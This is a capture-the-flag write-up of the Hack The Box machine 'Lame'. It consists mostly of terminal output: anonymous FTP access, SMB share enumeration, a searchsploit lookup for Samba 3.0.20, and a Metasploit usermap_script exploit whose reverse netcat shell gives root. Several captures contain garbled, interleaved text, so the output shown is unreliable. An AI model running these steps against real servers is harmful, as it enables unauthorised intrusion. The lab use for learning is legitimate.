



```
(redⓀkali)-[~/Downloads/htb/lame]
$ ftp anonymous@10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPD 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

#enum4linux -S 10.10.10.3

#smbclient -L //10.10.10.3

```
ser.[uuep] 10.10.10.3
===== ( Share Enumeration on 10.10.10.3 ) =====

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt            Disk
  IPC$           IPC        IPC Service (lame server (Samba 3.0.20-Debian))
  ADMIN$         IPC        IPC Service (lame server (Samba 3.0.20-Debian))
reconnecting with SMB1 for workgroup listing.

  Server          Comment
  -----
  Workgroup        Master
  WORKGROUP        LAME

+] Attempting to map shares on 10.10.10.3
/10.10.10.3/print$ Mapping: DENIED Listing: N/A Writing: N/A
/10.10.10.3/tmp      Mapping: OK Listing: OK Writing: N/A
/10.10.10.3/opt      Mapping: DENIED Listing: N/A Writing: N/A

E] Can't understand response:
T_STATUS_NETWORK_ACCESS_DENIED listing \*
/10.10.10.3/IPC$     Mapping: N/A Listing: N/A Writing: N/A
/10.10.10.3/ADMIN$   Mapping: DENIED Listing: N/A Writing: N/A
```

#smbmap -H 10.10.10.3

```

(myenv)-(red@kali)-[~/Downloads/htb/lame/smb]
$ smbmap -H 10.10.10.3

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

+1337 - python
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
print$ -> python
onvib Disk from the payload
d
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samb
ADMIN$ NO ACCESS IPC Service (lame server (Samb
[*] Closed 1 connections

```

The vulnerability is for samba 3.0.20 and can read more on

<https://ubuntu.com/security/CVE-2007-2447>

Let's search for any exploit using metasploit

#searchsploit "samba 3.0.20"

```

searchsploit "samba 3.msfx6 > searchsploit "samba 3.0.20"
[*] exec: searchsploit "samba 3.0.20"

Exploit Title
-----
samba 3.0.10 < 3.3.5 - Format String / Security Bypass
samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
samba < 3.0.20 - Remote Heap Overflow
samba < 3.6.2 (x86) - Denial of Service (PoC)

hellcodes: No Results
sf6 > search samba 3.0.20

Matching Modules
-----
[+] 2017-05-14 0:20:30 samba-usermap-exploit.py
create a shellcode

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

sf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
sf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description
---
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
---
LHOST 10.0.0.105 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Automatic

```

Configure the victim and attack machines

```

view the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.10.10.3:42519) at 2025-09-28 23:12:54 -0400

id
uid=0(root) gid=0(root)
pwd
/
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
whoami
whoami
root
root@lame:/# whoami
whoami
root
root@lame:/# pwd
pwd
/
root@lame:/# getuid
getuid
bash: getuid: command not found
root@lame:/# ls
ls
bin      etc      initrd.img.old  mnt      root     tmp      vmlinuz.old
root    home    lib             nohup.out sbin     usr
cdrom   initrd  lost+found      opt      srv      var
dev     initrd.img media          proc     sys      vmlinuz
root@lame:/# cd /home
cd /home
root@lame:/home# dir
dir
ftp makis service user
root@lame:/home# ls
ls
ftp makis service user
root@lame:/home#

```

using the commands locate, we search for any interesting files.

```

root@lame:/home# cd ..
cd ..
root@lame:/# dir
dir
bin exp etc (multi/initrd.img.old mnt-ipt) > root tmp vmlinuz.old
boot home lib nohup.out sbin usr
cdrom initrd lost+found opt srv var
dev har initrd.img media 4,24:4444 proc sys vmlinuz
root@lame:/# locate root
locate root
/root
/etc/ftpchroot
/etc/alternatives/fakeroot
/etc/alternatives/fakeroot.1.gz
/etc/alternatives/fakeroot.es.1.gz
/etc/alternatives/fakeroot.fr.1.gz
/etc/alternatives/fakeroot.sv.1.gz
/etc/bind/db.root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/postgresql-common/root.crt

```

## Summary

This is a machine that's about exploitation of samba and navigation using linux commands.